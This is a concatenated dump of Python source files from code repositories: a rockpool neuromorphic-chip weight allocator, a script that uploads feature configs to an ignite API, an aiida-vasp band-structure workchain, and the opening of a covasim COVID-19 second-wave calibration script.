self.tag_selector()\n\n def __shape_check(self) -> None:\n \"\"\"\n __shape_check check if the shape of the sign matrices and the input-recurrent matrices match\n\n :raises DRCError: No weights given for allocation!\n :raises DRCError: Input sign shape does not match input weight shape!\n :raises DRCError: Number of neurons indicated by the input weights matrix does not match the number of neurons indicated by the recurrent weights!\n :raises DRCError: Recurrent sign shape does not match the recurrent weight shape!\n :raises DRCError: Recurrent sign shape does not match the recurrent weight shape!\n :raises ValueError: Unexpected Error Occurded!\n \"\"\"\n\n # Only bias excitation, no weights\n if self.weights_in is None and self.weights_rec is None:\n self.n_in = 0\n self.n_neuron = 0\n\n # Feed-forward network\n elif self.weights_in is not None:\n self.weights_in = np.array(self.weights_in)\n self.sign_in = np.array(self.sign_in)\n self.n_in = self.weights_in.shape[0]\n self.n_neuron = self.weights_in.shape[1]\n if self.weights_in.shape != self.sign_in.shape:\n raise DRCError(\"Input sign shape does not match input weight shape!\")\n\n # Recurrent network\n if self.weights_rec is not None:\n self.weights_rec = np.array(self.weights_rec)\n self.sign_rec = np.array(self.sign_rec)\n if self.weights_rec.shape[1] != self.n_neuron:\n raise DRCError(\n \"Number of neurons indicated by the input weights matrix does not match the number of neurons indicated by the recurrent weights!\"\n )\n if self.weights_rec.shape != self.sign_rec.shape:\n raise DRCError(\n \"Recurrent sign shape does not match the recurrent weight shape!\"\n )\n\n # Rare case : Only recurrent weights\n elif self.weights_rec is not None:\n self.weights_rec = np.array(self.weights_rec)\n self.sign_rec = np.array(self.sign_rec)\n self.n_in, self.n_neuron = self.weights_rec.shape\n if self.weights_rec.shape != self.sign_rec.shape:\n raise DRCError(\n \"Recurrent sign shape does not match the recurrent weight shape!\"\n )\n\n else:\n raise ValueError(\"Unexpected Error Occurded!\")\n\n def tag_selector(self) -> Tuple[List[int]]:\n \"\"\"\n tag_selector separates the tag space as virtual, recurrent and output tags\n\n :raises DRCError: There are not enough tags to support network implementation!\n :return: vtag_list, rtag_list, otag_list\n :vtag_list: virtual tags available\n :rtag_list: recurrent tags available\n :otag_list: output tags available\n :rtype: Tuple[List[int]]\n \"\"\"\n if self.n_in + 2 * self.n_neuron > len(self.tag_list):\n raise DRCError(\n \"There are not enough tags to support network implementation!\"\n )\n vtag_list = self.tag_list[: self.n_in]\n rtag_list = self.tag_list[self.n_in : self.n_in + self.n_neuron]\n otag_list = self.tag_list[-self.n_neuron :]\n return vtag_list, rtag_list, otag_list\n\n def CAM_content(\n self,\n num_synapses: int = NUM_SYNAPSES,\n num_bits: int = 4,\n use_samna: bool = False,\n ) -> Dict[int, List[Dynapse2Synapse]]:\n \"\"\"\n CAM_content reads the weight matrices and generates required CAM entries\n\n :param num_synapses: maximum number of synapses to be stored per neuron, defaults to NUM_SYNAPSES\n :type num_synapses: int, optional\n :param num_bits: the number of bits allocated per weight, defaults to 4\n :type num_bits: int, optional\n :param use_samna: use original samna package or the alias version, defaults to False\n :type use_samna: bool, optional\n :raises DRCError: Maximum SRAM capacity exceeded!\n :return: a dictionary of CAM entries of neurons (neuron_id : CAM content)\n :rtype: Dict[int, List[Dynapse2Synapse]]\n \"\"\"\n\n # Input\n if self.weights_in is not None:\n content_in = self.matrix_to_synapse(\n self.weights_in,\n self.sign_in,\n self.virtual_tags,\n num_synapses,\n num_bits,\n use_samna,\n )\n else:\n content_in = {}\n\n # Recurrent\n if self.weights_rec is not None:\n content_rec = self.matrix_to_synapse(\n self.weights_rec,\n self.sign_rec,\n self.recurrent_tags,\n num_synapses,\n num_bits,\n use_samna,\n )\n else:\n content_rec = {}\n\n # Merge input and recurrent routing information together\n content = {nrec: [] for nrec in range(self.n_neuron)}\n\n for nrec in range(self.n_neuron):\n temp = []\n if nrec in content_in:\n temp.extend(content_in[nrec])\n if nrec in content_rec:\n temp.extend(content_rec[nrec])\n # Fill the rest with empty destinations\n if len(temp) <= num_synapses:\n temp.extend(\n [\n self.cam_entry(use_samna=use_samna)\n for _ in range(num_synapses - len(temp))\n ]\n )\n content[nrec] = temp\n else:\n raise DRCError(\"Maximum SRAM capacity exceeded!\")\n\n return content\n\n def SRAM_content(\n self,\n num_dest: int = NUM_DEST,\n use_samna: bool = False,\n monitor_neurons: List[int] = [],\n ) -> Dict[int, List[Dynapse2Destination]]:\n \"\"\"\n SRAM_content reads the weight matrices and generates required SRAM entries\n\n :param num_dest: maximum number of destinations to be stored per neuron, defaults to NUM_DEST\n :type num_dest: int, optional\n :param use_samna: use original samna package or the alias version, defaults to False\n :type use_samna: bool, optional\n :param monitor_neurons: list of neuron ids to be monitored, defaults to []\n :type monitor_neurons: List[int], optional\n :raises DRCError: Maximum SRAM capacity exceeded!\n :return: a dictionary of SRAM entries of neurons (neuron_id : SRAM content)\n :rtype: Dict[int, List[Dynapse2Destination]]\n \"\"\"\n\n def get_monitor_destination(neuron_id: int) -> Dynapse2Destination:\n \"\"\"\n get_monitor_destination returns an SRAM entry which helps to monitor a respective neuron's output activity\n\n :param neuron_id: the neuron to be monitored\n :type neuron_id: int\n :return: a dummy destination package to be catched by FPGA\n :rtype: Dynapse2Destination\n \"\"\"\n return self.sram_entry(\n [True, True, True, True], -7, -7, neuron_id, use_samna\n )\n\n # - Internal routing\n if self.weights_rec is not None:\n content_rec = self.matrix_to_destination(\n self.weights_rec,\n self.core_map,\n self.core_map,\n self.chip_map,\n self.chip_pos,\n self.recurrent_tags,\n num_dest,\n use_samna,\n )\n else:\n content_rec = {}\n\n for n in content_rec:\n if n not in monitor_neurons:\n monitor_neurons.append(n)\n\n content = {n: [get_monitor_destination(n)] for n in monitor_neurons}\n\n # Merge recurrent routing information and output together\n\n for n in content:\n if n in content_rec:\n content[n].extend(content_rec[n])\n if len(content[n]) <= num_dest:\n content[n].extend(\n [\n self.sram_entry(use_samna=use_samna)\n for _ in range(num_dest - len(content[n]))\n ]\n )\n else:\n raise DRCError(\"Maximum SRAM capacity exceeded!\")\n\n return content\n\n def input_channel_map(self) -> Dict[int, Dynapse2Destination]:\n \"\"\"\n input_channel_map reads the input weight matrix and generates a input channel map\n This input cahnnel map can be used to feed the chip with events\n\n :return: the mapping between input timeseries channels and the destinations\n :rtype: Dict[int, Dynapse2Destination]\n \"\"\"\n if self.weights_in is not None:\n pre_core_map = [0 for n in range(self.weights_in.shape[0])]\n content = self.matrix_to_destination(\n self.weights_in,\n pre_core_map,\n self.core_map,\n self.chip_map,\n self.chip_pos,\n self.virtual_tags,\n num_dest=1,\n use_samna=False,\n )\n else:\n content = {}\n\n return content\n\n @staticmethod\n def matrix_to_synapse(\n matrix: np.ndarray,\n sign: np.ndarray,\n tag_list: List[int],\n num_synapses: int = NUM_SYNAPSES,\n num_bits: int = 4,\n use_samna: bool = False,\n ) -> Dict[int, List[Dynapse2Synapse]]:\n \"\"\"\n matrix_to_synapse interprets the given weight matrix and generates a list of synapses to be stored in neural CAMs\n\n :param matrix: the weight matrix representing the connectivity structure\n :type matrix: np.ndarray\n :param sign: the sign matrix labeling the connections as synaptic gate type (AMPA-GABA)\n :type sign: np.ndarray\n :param tag_list: neuron-tag mapping (neuron_id : tag) which maps the neurons to their virtual addresses\n :type tag_list: List[int]\n :param num_synapses: maximum number of synapses to be stored per neuron, defaults to NUM_SYNAPSES\n :type num_synapses: int, optional\n :param num_bits: number of weight bits, defaults to 4\n :type num_bits: int, optional\n :param use_samna: use original samna package or the alias version, defaults to False\n :type use_samna: bool, optional\n :raises DRCError: Maximum synapse limit per neuron reached!\n :return: a dictionary of CAM entries per neuron\n :rtype: Dict[int, List[Dynapse2Synapse]]\n \"\"\"\n\n n_pre, n_post = matrix.shape\n content = {n_post: [] for n_post in range(n_post)}\n\n # post, pre, bits\n mem_matrix = WeightHandler.int2bit_mask(num_bits, matrix).T\n\n # Convert the weight matrix content to CAM content\n for pre in range(n_pre):\n for post in range(n_post):\n ## Identify the synapses\n if len(content[post]) < num_synapses:\n if matrix[pre][post] > 0:\n content[post].append(\n WeightAllocator.cam_entry(\n WeightAllocator.get_dendrite(sign[pre][post]),\n mem_matrix[post][pre],\n tag_list[pre],\n use_samna,\n )\n )\n else:\n raise DRCError(\"Maximum synapse limit per neuron reached!\")\n\n return content\n\n @staticmethod\n def matrix_to_destination(\n matrix: np.ndarray,\n pre_core_map: List[int],\n post_core_map: List[int],\n chip_map: Dict[int, int],\n chip_pos: Dict[int, Tuple[int]],\n tag_list: List[int],\n num_dest: int = NUM_DEST,\n use_samna: bool = False,\n ) -> Dict[int, List[Dynapse2Destination]]:\n \"\"\"\n matrix_to_destination interprets a given weight matrix and generates a list of destinations to be stored in SRAMs\n\n :param matrix: the weight matrix representing the connectivity structure\n :type matrix: np.ndarray\n :param pre_core_map: core map (neuron_id : core_id) for the pre-synaptic neurons (axis 0)\n :type pre_core_map: List[int]\n :param post_core_map: core map (neuron_id : core_id) for the post-synaptic neurons (axis 1)\n :type post_core_map: List[int]\n :param chip_map: global chip map (core_id : chip_id)\n :type chip_map: Dict[int, int]\n :param chip_pos: global chip position dictionary (chip_id : (xpos,ypos))\n :type chip_pos: Dict[int, int]\n :param tag_list: neuron-tag mapping (neuron_id : tag) which maps the neurons to their virtual addresses\n :type tag_list: List[int]\n :param num_dest: maximum number of destinations, defaults to NUM_DEST\n :type num_dest: int, optional\n :param use_samna: use original samna package or the alias version, defaults to False\n :type use_samna: bool, optional\n :raises DRCError: Maximum destination limit reached!\n :return: a dictionary of SRAM entries per neuron\n :rtype: Dict[int, List[Dynapse2Destination]]\n \"\"\"\n\n n_pre, n_post = matrix.shape\n\n # pre neurons send events to several post locations\n content = {pre: [] for pre in range(n_pre)}\n dest_cores: List[List[int]] = [[] for _ in range(n_pre)]\n dest_chips: List[Dict[int, List[bool]]] = [{} for _ in range(n_pre)]\n\n # - Get a list of destination cores of the pre-neurons\n for pre in range(n_pre):\n for post in range(n_post):\n ## Identify destination cores\n if matrix[pre][post] > 0:\n if post_core_map[post] not in dest_cores[pre]:\n dest_cores[pre].append(post_core_map[post])\n\n # - Convert a list of destination cores to chip and core mask pairs\n for i, core_list in enumerate(dest_cores):\n dest_chips[i] = (\n WeightAllocator.mask_cores(core_list, chip_map) if core_list else {}\n )\n\n # - Find the number of hops between source and destination chips and fill the mem content\n for pre, dest_dict in enumerate(dest_chips):\n if dest_dict:\n source_chip = chip_map[pre_core_map[pre]]\n for dest_chip, core_mask in dest_dict.items():\n x_hop, y_hop = WeightAllocator.manhattan(\n dest_chip, source_chip, chip_pos\n )\n if len(content[pre]) < num_dest:\n content[pre].append(\n WeightAllocator.sram_entry(\n core_mask, x_hop, y_hop, tag_list[pre], use_samna\n )\n )\n else:\n raise DRCError(\"Maximum destination limit reached!\")\n\n return content\n\n @staticmethod\n def mask_cores(\n core_list: List[int], chip_map: Dict[int, int]\n ) -> Dict[int, List[bool]]:\n \"\"\"\n mask_cores gets a core list and converts it into a chip id & coremask representaion\n\n :param core_list: the list of global core ids\n :type core_list: List[int]\n :param chip_map: global chip map (core_id : chip_id)\n :type chip_map: Dict[int, int]\n :return: dictionary of destination chips and the coremask to be applied to them\n :rtype: Dict[int, List[bool]]\n \"\"\"\n\n target_cores: Dict[int, List[bool]] = {}\n reverse_chip_map: Dict[int, List[int]] = {v: [] for v in set(chip_map.values())}\n for k, v in chip_map.items():\n reverse_chip_map[v].append(k)\n\n # - Get a chip & core list\n for core in core_list:\n chip = chip_map[core]\n if chip not in target_cores:\n target_cores[chip] = [core]\n elif core not in target_cores[chip]:\n target_cores[chip].append(core)\n\n # Fill the core mask\n for key in target_cores:\n mask = [cid in target_cores[key] for cid in sorted(reverse_chip_map[key])]\n target_cores[key] = mask\n\n return target_cores\n\n @staticmethod\n def manhattan(\n dest_chip: int,\n source_chip: int,\n chip_pos: Optional[Dict[int, Tuple[int]]] = None,\n ) -> Tuple[int]:\n \"\"\"\n manhattan calculates the manhattan distance between two chips installed on the system\n\n :param dest_chip: destination chip ID\n :type dest_chip: int\n :param source_chip: source chip ID\n :type source_chip: int\n :param chip_pos: chip position dictionary\n :type chip_pos: Dict[int, Tuple[int]]\n :return: x_hop, y_hop\n :x_hop: number of chip hops on x axis\n :y_hop: number of chip hops on y axis\n :rtype: Tuple[int]\n \"\"\"\n if dest_chip == source_chip:\n return (0, 0)\n elif chip_pos is None:\n raise ValueError(\"More than one chip! Provide position dictionary!\")\n else:\n dest_position = np.array(chip_pos[dest_chip])\n source_position = np.array(chip_pos[source_chip])\n distance = dest_position - source_position\n return (distance[0], distance[1])\n\n @staticmethod\n def sram_entry(\n core: Optional[List[bool]] = [False, False, False, False],\n x_hop: Optional[int] = 0,\n y_hop: Optional[int] = 0,\n tag: Optional[int] = 0,\n use_samna: bool = False,\n ) -> Dynapse2Destination:\n \"\"\"\n sram_entry constructs a ``Dynapse2Destinaton`` object and updates its data segment if the parameters are provided\n\n :param core: the core mask used while sending the events, defaults to None\n [1,1,1,1] means all 4 cores are on the target\n [0,0,1,0] means the event will arrive at core 2 only\n :type core: Optional[List[bool]], optional\n :param x_hop: number of chip hops on x axis, defaults to None\n :type x_hop: Optional[int], optional\n :param y_hop: number of chip hops on y axis, defaults to None\n :type y_hop: Optional[int], optional\n :param tag: globally multiplexed locally unique event tag which is used to identify the connection between two neurons, defaults to None\n :type tag: Optional[int], optional\n :param use_samna: use original samna package or the alias version, defaults to True\n :type use_samna: bool, optional\n :return: a configured ``Dynapse2Destination`` object\n :rtype: Dynapse2Destination\n \"\"\"\n if use_samna:\n dest = samna.dynapse2.Dynapse2Destination()\n dest.core = core\n dest.x_hop = x_hop\n dest.y_hop = y_hop\n dest.tag = tag\n else:\n dest = Dynapse2Destination(core, x_hop, y_hop, int(tag))\n return dest\n\n @staticmethod\n def cam_entry(\n dendrite: Optional[Dendrite] = Dendrite.none,\n weight: List[bool] = [False, False, False, False],\n tag: int = 0,\n use_samna: bool = False,\n ) -> Dynapse2Synapse:\n \"\"\"\n cam_entry constructs a ``Dynapse2Synapse`` object and updates its data segment if the parameters are provided\n\n :param dendrite: the type of the dendrite, AMPA, GABA, NMDA, SHUNT and NONE are options, defaults to None\n :type dendrite: Optional[Dendrite], optional\n :param weight: 4 bit weight mask chosing the base weight parameters, defaults to None\n :type weight: Optional[List[bool]], optional\n :param tag: the virtual address, defaults to None\n :type tag: Optional[int], optional\n :param use_samna: use original samna package or the alias version, defaults to True\n :type use_samna: bool, optional\n :return: a configured ``Dynapse2Synapse`` samna object\n :rtype: Dynapse2Synapse\n \"\"\"\n\n if use_samna:\n syn = samna.dynapse2.Dynapse2Synapse()\n syn.dendrite = samna.dynapse2.Dendrite(dendrite)\n syn.weight = weight\n syn.tag = tag\n else:\n syn = Dynapse2Synapse(\n dendrite=dendrite,\n stp=False,\n weight=weight,\n precise_delay=False,\n mismatched_delay=False,\n tag=int(tag),\n )\n return syn\n\n @staticmethod\n def get_dendrite(sign: int) -> Dendrite:\n \"\"\"\n get_dendrite takes a sign and returns a type of dendrite (AMPA or GABA supported now)\n\n :param sign: an integer number\n :type sign: int\n :raises TypeError: sign has to be an integer!\n :raises ValueError: Data provided could not recognized!\n :return: a Dynap-SE2 dendrite type\n :rtype: Dendrite\n \"\"\"\n if sign > 0:\n return Dendrite.ampa\n elif sign < 0:\n return Dendrite.gaba\n elif sign == 0:\n return Dendrite.none\n else:\n raise ValueError(\"Data provided could not recognized!\")\n","repo_name":"synsense/rockpool","sub_path":"rockpool/devices/dynapse/hardware/config/allocator.py","file_name":"allocator.py","file_ext":"py","file_size_in_byte":23960,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"} +{"seq_id":"3036588318","text":"import json\nimport os\nimport requests\nimport sys\n\nBASE_DIR = os.path.join(os.getcwd(), \"..\")\nsys.path.append(os.path.join(BASE_DIR))\n\nfrom ignite.conf import IGNITE_IP, IGNITE_PORT\n\n\nAPI_FEAT = \"/api/feature/feature\"\nAPI_AUTH = \"/auth/login/\"\nURL = \"http://\" + IGNITE_IP + \":\" + IGNITE_PORT\nURL_FEAT = URL + API_FEAT\nURL_AUTH = URL + API_AUTH\nAUTH_HEADER = {\"content_type\": \"application/json\"}\nAUTH_DATA = {\"username\": \"admin\", \"password\": \"admin\"}\n\n\nauth = requests.post(url=URL_AUTH, data=AUTH_DATA, headers=AUTH_HEADER)\ntoken = json.loads(auth.text)[\"auth_token\"]\n\n\nfeatures = [\n {\n \"name\": \"bgp\",\n \"group\": \"default\"\n },\n {\n \"name\": \"snmp\",\n \"group\": \"default\"\n },\n {\n \"name\": \"ntp\",\n \"group\": \"default\"\n },\n {\n \"name\": \"vxlan_global\",\n \"group\": \"default\"\n },\n {\n \"name\": \"vxlan_vtep\",\n \"group\": \"default\"\n },\n {\n \"name\": \"global_cfg\",\n \"group\": \"default\"\n },\n {\n \"name\": \"igp\",\n \"group\": \"default\"\n }\n]\n\nfname_d = [\"bgp.json\", \"snmp.json\", \"ntp.json\", \"vxlan_global.json\", \"vxlan_vtep.json\", \"global_cfg.json\", \"igp.json\"]\n\n\ndef upload_feature():\n\n for i in range(len(features)):\n data = json.dumps(features[i])\n headers_post = {'Authorization': token, 'content-type': 'application/json'}\n\n response = requests.post(URL_FEAT, data=data, headers=headers_post)\n url = URL_FEAT + \"/\" + str(json.loads(response.text)['id'])\n filepath = os.path.join(BASE_DIR, 'examples/features', fname_d[i])\n files = {\"file\": open(filepath, 'rb')}\n\n headers_put = {'Authorization': token}\n response = requests.put(url, headers=headers_put, files=files)\n files['file'].close()\n\nupload_feature()\n","repo_name":"datacenter/ignite-DEPRECATED","sub_path":"scripts/feature_script.py","file_name":"feature_script.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"3"} +{"seq_id":"8153361054","text":"\"\"\"\nBands workchain.\n\n----------------\nIntended to be used to extract the band structure using SeeKpath as a preprocessor\nto extract the k-point path.\n\"\"\"\n\n# pylint: disable=attribute-defined-outside-init, import-outside-toplevel\nfrom aiida.common.extendeddicts import AttributeDict\nfrom aiida.engine import WorkChain, append_, calcfunction\nfrom aiida.plugins import WorkflowFactory\n\nfrom aiida_vasp.assistant.parameters import inherit_and_merge_parameters\nfrom aiida_vasp.utils.aiida_utils import get_data_class, get_data_node\nfrom aiida_vasp.utils.workchains import compose_exit_code, prepare_process_inputs\n\n\nclass BandsWorkChain(WorkChain):\n \"\"\"Extract the band structure using k-point paths fetched from SeeKpath.\"\"\"\n\n _verbose = False\n _next_workchain_string = 'vasp.vasp'\n _next_workchain = WorkflowFactory(_next_workchain_string)\n\n @classmethod\n def define(cls, spec):\n super(BandsWorkChain, cls).define(spec)\n spec.expose_inputs(\n cls._next_workchain,\n exclude=('parameters', 'settings', 'kpoints'),\n )\n spec.input(\n 'parameters',\n valid_type=get_data_class('core.dict'),\n required=False,\n )\n spec.input(\n 'settings',\n valid_type=get_data_class('core.dict'),\n required=False,\n )\n spec.input(\n 'smearing.gaussian',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', True),\n help=\"\"\"\n Whether or not gaussian smearing will be used. Equivalent to `ISMEAR=0`.\n \"\"\",\n )\n spec.input(\n 'smearing.sigma',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.05),\n help=\"\"\"\n Magnitude of the smearing in eV.\n \"\"\",\n )\n spec.input(\n 'restart_folder',\n valid_type=get_data_class('core.remote'),\n required=True,\n help=\"\"\"\n The folder to restart in, which contains the outputs from the prerun to extract the charge density.\n \"\"\",\n )\n spec.input(\n 'bands.kpoints_distance',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.05),\n help=\"\"\"\n The distance between each k-point along each high-symmetry line.\n \"\"\",\n )\n spec.input(\n 'bands.decompose_bands',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n Decompose the band structure on each atom.\n \"\"\",\n )\n spec.input(\n 'bands.decompose_wave',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n Decompose the wave function.\n \"\"\",\n )\n spec.input(\n 'bands.lm',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n Further decompose the decomposition into l- and m-states.\n \"\"\",\n )\n spec.input(\n 'bands.phase',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n Further decompose the l- and m-state decomposition into phases.\n \"\"\",\n )\n spec.input(\n 'bands.wigner_seitz_radius',\n valid_type=get_data_class('core.list'),\n required=False,\n default=lambda: get_data_node('core.list', list=[False]),\n help=\"\"\"\n The Wigner-Seitz radius for each atom type in AA as a list. If set, the internal projectors are not utilized.\n \"\"\",\n )\n spec.outline(\n cls.initialize,\n cls.get_kpoints_path,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.verify_next_workchain,\n cls.results,\n cls.finalize\n ) # yapf: disable\n\n spec.expose_outputs(cls._next_workchain)\n spec.output(\n 'bands',\n valid_type=get_data_class('core.array.bands'),\n )\n spec.exit_code(\n 0,\n 'NO_ERROR',\n message='the sun is shining',\n )\n spec.exit_code(\n 420,\n 'ERROR_NO_CALLED_WORKCHAIN',\n message='no called workchain detected',\n )\n spec.exit_code(\n 500,\n 'ERROR_UNKNOWN',\n message='unknown error detected in the bands workchain',\n )\n spec.exit_code(\n 2001,\n 'ERROR_BANDSDATA_NOT_FOUND',\n message='BandsData not found in exposed_outputs',\n )\n\n def initialize(self):\n \"\"\"Initialize.\"\"\"\n self._init_context()\n self._init_inputs()\n self._init_settings()\n\n def _init_context(self):\n \"\"\"Initialize context variables.\"\"\"\n self.ctx.exit_code = self.exit_codes.ERROR_UNKNOWN # pylint: disable=no-member\n self.ctx.inputs = AttributeDict()\n\n def _init_settings(self):\n \"\"\"Initialize the settings.\"\"\"\n # Make sure we parse the bands\n if 'settings' in self.inputs:\n settings = AttributeDict(self.inputs.settings.get_dict())\n else:\n settings = AttributeDict({'parser_settings': {}})\n dict_entry = {'add_bands': True}\n try:\n settings.parser_settings.update(dict_entry)\n except AttributeError:\n settings.parser_settings = dict_entry\n self.ctx.inputs.settings = settings\n\n def _init_inputs(self):\n \"\"\"Initialize inputs.\"\"\"\n self.ctx.inputs.parameters = self._init_parameters()\n\n # Do not put the SeeKPath parameters in the inputs to avoid port checking\n # of the next workchain\n self.ctx.seekpath_parameters = get_data_node(\n 'core.dict', dict={'reference_distance': self.inputs.bands.kpoints_distance.value}\n )\n\n try:\n self._verbose = self.inputs.verbose.value\n self.ctx.inputs.verbose = self.inputs.verbose\n except AttributeError:\n pass\n\n def _init_parameters(self):\n \"\"\"Collect input to the workchain in the relax namespace and put that into the parameters.\"\"\"\n\n # At some point we will replace this with possibly input checking using the PortNamespace on\n # a dict parameter type. As such we remove the workchain input parameters as node entities. Much of\n # the following is just a workaround until that is in place in AiiDA core.\n parameters = inherit_and_merge_parameters(self.inputs)\n\n # Now we need to make sure we keep the charge density fixed. When executing this\n # workchain we already receive a restart folder, where the charge density resides from the\n # previous run.\n parameters.charge = AttributeDict()\n parameters.charge.constant_charge = True\n\n return parameters\n\n def init_next_workchain(self):\n \"\"\"Initialize the next workchain.\"\"\"\n try:\n self.ctx.inputs\n except AttributeError as no_input:\n raise ValueError('No input dictionary was defined in self.ctx.inputs') from no_input\n\n # Add exposed inputs\n self.ctx.inputs.update(self.exposed_inputs(self._next_workchain))\n\n # Make sure we do not have any floating dict (convert to Dict)\n self.ctx.inputs = prepare_process_inputs(self.ctx.inputs, namespaces=['dynamics'])\n\n def run_next_workchain(self):\n \"\"\"Run the next workchain.\"\"\"\n inputs = self.ctx.inputs\n running = self.submit(self._next_workchain, **inputs)\n\n self.report(f'launching {self._next_workchain.__name__}<{running.pk}> ')\n\n return self.to_context(workchains=append_(running))\n\n def get_kpoints_path(self):\n \"\"\"\n Fetch the k-point path.\n\n Run SeeKpath to get the high symmetry lines of the given structure. This\n routine returns a new (potentially different to the input structure) primitive\n structure. It also returns the k-point path for this structure.\n \"\"\"\n result = seekpath_structure_analysis(self.inputs.structure, self.ctx.seekpath_parameters)\n self.ctx.inputs.kpoints = result['explicit_kpoints']\n\n def verify_next_workchain(self):\n \"\"\"Verify and inherit exit status from child workchains.\"\"\"\n\n try:\n workchain = self.ctx.workchains[-1]\n except IndexError:\n self.report(f'There is no {self._next_workchain.__name__} in the called workchain list.')\n return self.exit_codes.ERROR_NO_CALLED_WORKCHAIN # pylint: disable=no-member\n\n # Inherit exit status from last workchain (supposed to be successful)\n next_workchain_exit_status = workchain.exit_status\n next_workchain_exit_message = workchain.exit_message\n if not next_workchain_exit_status:\n self.ctx.exit_code = self.exit_codes.NO_ERROR # pylint: disable=no-member\n else:\n self.ctx.exit_code = compose_exit_code(next_workchain_exit_status, next_workchain_exit_message)\n self.report(\n f'The called {workchain.__class__.__name__}<{workchain.pk}> returned a non-zero exit status. '\n f'The exit status {self.ctx.exit_code} is inherited'\n )\n\n return self.ctx.exit_code\n\n def results(self):\n \"\"\"Attach the remaining output results.\"\"\"\n\n workchain = self.ctx.workchains[-1]\n out_dict = self.exposed_outputs(workchain, self._next_workchain)\n bands = out_dict.pop('bands', None)\n self.out_many(out_dict)\n if bands is None:\n self.ctx.exit_code = self.exit_codes.ERROR_BANDSDATA_NOT_FOUND # pylint: disable=no-member\n else:\n self.out('bands', attach_labels(bands, self.ctx.inputs.kpoints))\n self.ctx.exit_code = self.exit_codes.NO_ERROR # pylint: disable=no-member\n\n return self.ctx.exit_code\n\n def finalize(self):\n \"\"\"Finalize the workchain.\"\"\"\n return self.ctx.exit_code\n\n\n@calcfunction\ndef seekpath_structure_analysis(structure, parameters):\n \"\"\"\n Workfunction to extract k-points in the reciprocal cell.\n\n This workfunction will take a structure and pass it through SeeKpath to get the\n primitive cell and the path of high symmetry k-points through its Brillouin zone.\n Note that the returned primitive cell may differ from the original structure in\n which case the k-points are only congruent with the primitive cell.\n \"\"\"\n from aiida.tools import get_explicit_kpoints_path\n return get_explicit_kpoints_path(structure, **parameters.get_dict())\n\n\n@calcfunction\ndef attach_labels(bands, kpoints):\n bands_with_labels = bands.clone()\n bands_with_labels.labels = kpoints.labels\n return bands_with_labels\n","repo_name":"aiida-vasp/aiida-vasp","sub_path":"aiida_vasp/workchains/bands.py","file_name":"bands.py","file_ext":"py","file_size_in_byte":11328,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"3"} +{"seq_id":"3775994080","text":"import covasim as cv\nimport covasim.utils as cvu\nimport optuna as op\nimport sciris as sc\nimport pandas as pd\nimport numpy as np\nimport os\nfrom collections import defaultdict\nimport population\n\n'''\nGiven the transmission rate from first wave fitting --> Fit to partially observed second wave\n'''\n\n\n############# Dates #######################\n\nstart_day = '2020-03-01'\nend_day = '2020-12-31'\n\n''' NYSonPause:\n General closure, incorporate school closures (happened few days before)\n Shelter-in-place order etc.\n Everything non-essential closed\n Lifting: Chosen quite arbitrary although somewhat at the right time'''\n\nNYSonPause = '2020-03-22'\nschoolsClosure = '2020-03-16'\n\nlifting = '2020-07-20'\n\n############# Model Setup #################\n# Population file to load - Generate with 'make_ny_pop.py'\npopfile = 'nyppl.pop'\n\n# Layer specification file used in popgeneration\nlayers = pd.read_csv('layers.csv', index_col='layer')\n\n# Data files to fit with\ncumDeathsfile = 'EpiData/deathsNY20200106.csv' #Deaths 2021-01-06\n\n# Model parameters\npars = sc.objdict(\n pop_size = 200e3,\n pop_scale = 100,\n rescale = True,\n \n pop_infected = 10000, # 0.05% of population infected at start of simulation\n \n contacts = layers['contacts'].to_dict(),\n \n beta = 0.07576320418933516,\n beta_layer = layers['beta_layer'].to_dict(),\n \n start_day = start_day,\n end_day = end_day,\n \n rand_seed = 271220,\n \n verbose = .1,\n )\n\n# Intervention level fitted to first wave \nintv = {'H': 1.2765967578928226, \n 'W': 0.07393991037226055,\n 'C': 0.07393991037226055}\n\n############ Interventions ###############\n''' Make interventions, as scaling of beta.\n-- Level specific intervention effects\n-- i.e. Households see increase in transmission with school/work closures\n\n** intv = 0 - No transmission\n** intv = 1 - Regular transmission (no intervention)\n** intv > 1 - increase in transmission\n\n'''\n \ndef make_ints(lintv, intv=intv):\n \n interventions = [\n # School layer\n cv.change_beta(days = [schoolsClosure, lifting],\n changes = [0, lintv['S']],\n layers = ['S'],\n do_plot = True,\n ),\n \n # Workplace layer\n cv.change_beta(days = [NYSonPause, lifting],\n changes = [intv['W'], lintv['W']],\n layers = ['W'],\n do_plot = False,\n ),\n \n # Householsd layer\n cv.change_beta(days = [NYSonPause, lifting],\n changes = [intv['H'], lintv['H']],\n layers = ['H'],\n do_plot = True,\n ),\n \n # Community layer\n cv.change_beta(days = [NYSonPause, lifting],\n changes = [intv['C'], lintv['C']],\n layers = ['C1'],\n do_plot = False,\n ),\n cv.dynamic_pars(n_imports=dict(days=[0, 141, 142], vals=[0, 10, 0]), do_plot=False), # a small import to ensure the disease are present\n ]\n\n \n # Regenerate dynamic layers\n interventions.insert(0, population.UpdateNetworks())\n \n return interventions\n\n############## Simulation/calibration setup ############\n## Initialize simulation with intervention\ndef make_sim(pars, lintv={'S':1,'W':1,'H':1,'C':1}, load_pop=True, popfile=popfile, datafile=cumDeathsfile):\n sim = cv.Sim(pars=pars,\n popfile=popfile,\n load_pop=load_pop,\n datafile=datafile)\n \n sim.pars['interventions'] = make_ints(lintv=lintv)\n \n sim.initialize()\n \n return sim\n\n## Running simulation\ndef run_sim(pars, lintv={'S':1,'W':1,'H':1,'C':1}, popfile=popfile, return_mse=False, verbose=0.1):\n sim = make_sim(pars=pars, lintv=lintv, popfile=popfile)\n 